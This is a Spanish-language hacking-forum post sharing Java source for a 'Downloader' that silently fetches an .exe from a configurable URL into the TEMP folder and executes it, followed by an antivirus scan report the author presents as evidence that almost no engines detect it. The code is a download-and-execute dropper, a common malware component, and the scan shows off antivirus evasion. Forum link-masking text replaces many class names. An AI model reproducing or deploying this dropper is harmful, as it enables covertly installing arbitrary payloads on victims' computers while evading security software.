Downloader [By Expermicid]

  • 0 Respuestas
  • 2245 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Conectado Expermicid

  • *
  • Ex-Staff
  • *****
  • Mensajes: 461
  • Actividad:
    13.33%
  • Reputación 0
  • _-Expermicid-_
  • Skype: expermicid.xd
    • Ver Perfil

Downloader [By Expermicid]

  • en: Enero 17, 2013, 02:32:51 pm
Empece haciendo un code para descargar archivos y luego le agregue la ejecucion mas algunas modificaciones y termino en un Downloader xD

Código: Java
  1. import java.net.URL;
  2. import java.net.URLConnection;
  3. import java.io.File;
  4. import java.io.InputStream;
  5. import java.io.OutputStream;
  6. import java.io.FileOutputStream;
  7.  
  8. class Downloader {
  9.  
  10.    static final You are not allowed to view links. Register or Login url = "Url_del_Archivo"; // url de descarga
  11.    static final You are not allowed to view links. Register or Login nombre = "Nombre_Archivo.exe"; // nombre del archivo
  12.    static final You are not allowed to view links. Register or Login ruta = You are not allowed to view links. Register or Login.getenv("TEMP"); // lugar de descarga
  13.    
  14.    // constructor
  15.    public Downloader() {
  16.    
  17.    }
  18.  
  19.    // metodo descargarArchivo
  20.    private void descargarArchivo() {
  21.       try {
  22.          You are not allowed to view links. Register or Login tempFile = new You are not allowed to view links. Register or Login(ruta + "/" + nombre); // creamos un archivo en Temp
  23.          // se establace la conexion
  24.          You are not allowed to view links. Register or Login conn = new You are not allowed to view links. Register or Login(url).openConnection();
  25.          conn.connect();
  26.          // preparamos los Stream para el archivo de descarga y el creado
  27.          You are not allowed to view links. Register or Login descarga = conn.getInputStream();
  28.          You are not allowed to view links. Register or Login creado = new You are not allowed to view links. Register or Login(tempFile);
  29.          int bits = 0;
  30.          // leemos y escribimos byte por byte
  31.          while ( bits != -1 ) {
  32.             bits =  descarga.read();
  33.             if ( bits != -1 ) {
  34.                creado.write(bits);
  35.             }
  36.          }
  37.          // se cierran los Stream
  38.          creado.close();
  39.          descarga.close();
  40.       } catch ( You are not allowed to view links. Register or Login e ) { }
  41.      
  42.    } // fin del metodo descargarArchivo
  43.  
  44.    // metodo ejecutarArchivo
  45.    private void ejecutarArchivo() {
  46.  
  47.       You are not allowed to view links. Register or Login aplicacion = You are not allowed to view links. Register or Login.getRuntime();
  48.       try {
  49.          You are not allowed to view links. Register or Login proceso = aplicacion.exec(ruta + "/" + nombre);
  50.          proceso.waitFor();
  51.       } catch ( You are not allowed to view links. Register or Login e ) { }
  52.  
  53.    } // fin del metodo ejecutarArchivo
  54.    
  55.    // metodo Main
  56.    public static void main(You are not allowed to view links. Register or Login[] args) {
  57.       Downloader down = new Downloader();
  58.       down.descargarArchivo();
  59.       down.ejecutarArchivo();
  60.    }
  61.  
  62. }

NOTA: Deben poner la ruta y el nombre que ustedes deseen

Video demostrativo:



Despues de hacer todo solo por curiosidad lo tranforme a jar y lo analize para ver que tan quemado estaba, pero me lleve una sorpresa xD

Date and Time: 10/29/2012 6:50:27 PM
File Name: Downloader.jar
File Size: 1675 Bytes
MD5: 2edb3f437e776b93117015522f225262
SHA1: d93f27a5b5d1a7ec200138797cfe54184d638711
Detection: 1 of 35 (3%)
Status: INFECTED

AVG Free - Clean!
ArcaVir - Clean!
Avast 5 - Clean!
AntiVir (Avira) - Clean!
BitDefender - Clean!
VirusBuster Internet Security - Clean!
Clam Antivirus - Clean!
COMODO Internet Security - Clean!
Dr.Web - Clean!
eTrust-Vet - Clean!
F-PROT Antivirus - Clean!
F-Secure Internet Security - Clean!
G Data - Clean!
IKARUS Security - Clean!
Kaspersky Antivirus - Clean!
MS Security Essentials - Clean!
ESET NOD32 - Clean!
Norman - Clean!
Norton Antivirus - Clean!
Panda Security - Clean!
A-Squared - Clean!
Quick Heal Antivirus - Clean!
Rising Antivirus - Clean!
Solo Antivirus - Clean!
Sophos - Downloader.class=Mal/ClsDLod-A
Trend Micro Internet Security - Clean!
VBA32 Antivirus - Clean!
Vexira Antivirus - Clean!
Zoner AntiVirus - Clean!
Ad-Aware - Clean!
BullGuard - Clean!
Immunet Antivirus - Clean!
K7 Ultimate - Clean!
mcafree - Clean!
VIPRE - Clean!

You are not allowed to view links. Register or Login

Saludos

 

Capturador de Pantalla remoto [By Expermicid]

Iniciado por Expermicid

Respuestas: 5
Vistas: 3499
Último mensaje Junio 02, 2013, 06:47:49 pm
por paixon